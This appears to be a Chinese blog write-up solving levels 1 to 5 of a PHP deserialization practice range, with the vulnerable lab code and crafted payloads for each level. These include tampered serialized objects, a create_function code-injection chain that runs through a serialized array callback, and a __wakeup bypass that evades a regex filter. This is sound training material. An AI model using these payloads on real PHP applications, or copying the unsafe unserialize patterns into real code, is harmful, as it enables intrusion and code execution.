php-SER-libs-main反序列化靶场部分wp

发布时间 2023-10-28 19:58:32作者: hhhhhhard

什么是序列化/反序列化, 为什么要进行序列化/反序列化

序列化: 有时需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)。
反序列化: 将序列化的结果还原

PHP序列化:把对象转化为二进制的字符串,使用serialize()函数 (注意,仅序列化属性,不序列化方法)
PHP反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()函数

比如下面这个php对象的一个实例$m

class abc{
    var $a = "sb123";

    function wdnmd()
    {
        echo "hello";
    }
}

$m = new abc();
echo serialize($m);

序列化后长这样

O:3:"abc":1:{s:1:"a";s:5:"sb123";}

php反序列化漏洞

反序列化就是把序列化后的数据还原回去, 这是一个正常功能, 它会产生反序列化漏洞的原因是如果我们可以修改序列化后的内容(比如类中的属性)就可以控制还原结果
比如上面例子,我将序列化后内容由

O:3:"abc":1:{s:1:"a";s:5:"sb123";}

修改为

O:3:"abc":1:{s:1:"a";s:5:"sb666";}

此时反序列化结果为
image

反序列化漏洞利用条件:

  • 有可变参数
  • 有可利用函数

pass1

  1. 已知当前文件夹下存在另一个文件 flag.php, 现在想办法把它读取出来
  2. 修改原来类属性如下,得到构造好的序列化字符串,以 get 方式传参
    image

image

pass2

//pass2
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
    var $user;
    var $pass;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
    function login(){
        if ($this->user=="daydream" and $this->pass=="ok"){
            return 1;
        }
    }
}
$a=unserialize($_GET['param']);
if($a->login())
{
    echo $flag;
}
?> 

可以看到只有 $this->user=="daydream" and $this->pass=="ok" 为真时候才能得到 flag ,那我们就传入他需要的参数即可
image

get 方式传参
image

pass3

这关和第二关的区别是它换位 cookie 传参了,那我们就在 hackbar里通过 cookie 传参,主要把 serialize()序列化结果 url编码一下再传参

image

pass4

//pass4
<?php 
highlight_file(__FILE__);
class func
{
        public $key;
        public function __destruct()
        {        
                unserialize($this->key)();
        } 
}

class GetFlag
{       public $code;
        public $action;
        public function get_flag(){
            $a=$this->action;
            $a('', $this->code);
        }
}

unserialize($_GET['param']);

?>

这关利用了一个特性: 当一个数组array中第一个参数是对象,第二个参数是该对象内的方法时,在反序列化该数组时会执行该对象内的该方法.

函数create_function(string $args,string \(code) 比如 create_function('\)a, $b', return \(a+\)b);

  • string $args 声明的函数变量部分
  • string $code 执行的方法代码部分
  • 返回值为该函数名字
  • 从PHP 7.2.0开始,create_function()被废弃

这关思路是通过class funcunserialize 去反序列化一个数组,这个数组的第一个参数是class GetFlag的一个实例,第二个参数是它的方法 get_flag() ,而现在就想办法让 GetFlag的实例能够输出flag

//抄袭于靶场作者给的wp
<?php
class func
{
        public $key;
        public function __destruct()
        {        
                unserialize($this->key)();
        } 
}
 
class GetFlag
{       public $code;
        public $action;
        public function get_flag(){
            $a=$this->action;
            $a('', $this->code);
        }
} 
$a2=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a2->key=serialize(array($b,"get_flag"));
echo urlencode(serialize($a2));
?>

上面一系列操作替换后 function get_flag()相当于下面方法

        public function get_flag(){
            $a=$this->action;
            create_function('', }include("flag.php");echo $flag;//);
        }

现在这个方法就可以输出flag了,我们通过反序列化数组执行这个方法即可
现在把序列化后的数据以get方式传入,得到flag
image

pass5

<?php
    class secret{
        var $file='index.php';

        public function __construct($file){
            $this->file=$file;
        }

        function __destruct(){
            include_once($this->file);
            echo $flag;
        }

        function __wakeup(){
            $this->file='index.php';
        }
    }
    $cmd=$_GET['cmd'];
    if (!isset($cmd)){
        echo show_source('index.php',true);
    }
    else{
        if (preg_match('/[oc]:\d+:/i',$cmd)){
            echo "Are you daydreaming?";
        }
        else{
            unserialize($cmd);
        }
    }
    //sercet in flag.php
?>

这关目标是要执行类 secret 的一个实例,这个实例的属性$file需要修改为 $file=flag.php, 但是这关有个魔术方法 __wakeup会在反序列化时候修改$file,所以我们需要修改序列化结果,使其中属性数量大于实际数量就可以避免执行 __wakeup方法, 而反序列化是在下面函数中执行的

   $cmd=$_GET['cmd'];
    if (!isset($cmd)){
        echo show_source('index.php',true);
    }
    else{
        if (preg_match('/[oc]:\d+:/i',$cmd)){
            echo "Are you daydreaming?";
        }
        else{
            unserialize($cmd);
        }
    }

所以要想办法执行传入实例序列化结果cmdunserialize($cmd);

  1. 先创建一个实例,修改$file=flag.php,并得到其序列化结果
    image
O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
  1. 修改序列化结果中属性数量,使其大于实际数量
O:6:"secret":5:{s:4:"file";s:8:"flag.php";}
  1. 下面的函数对cmd有正则过滤,我们稍加修改
O:+6:"secret":5:{s:4:"file";s:8:"flag.php";}
  1. 对结果进行URL编码
O%3A%2B6%3A%22secret%22%3A5%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
  1. get传参
?cmd=O%3A%2B6%3A%22secret%22%3A5%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

image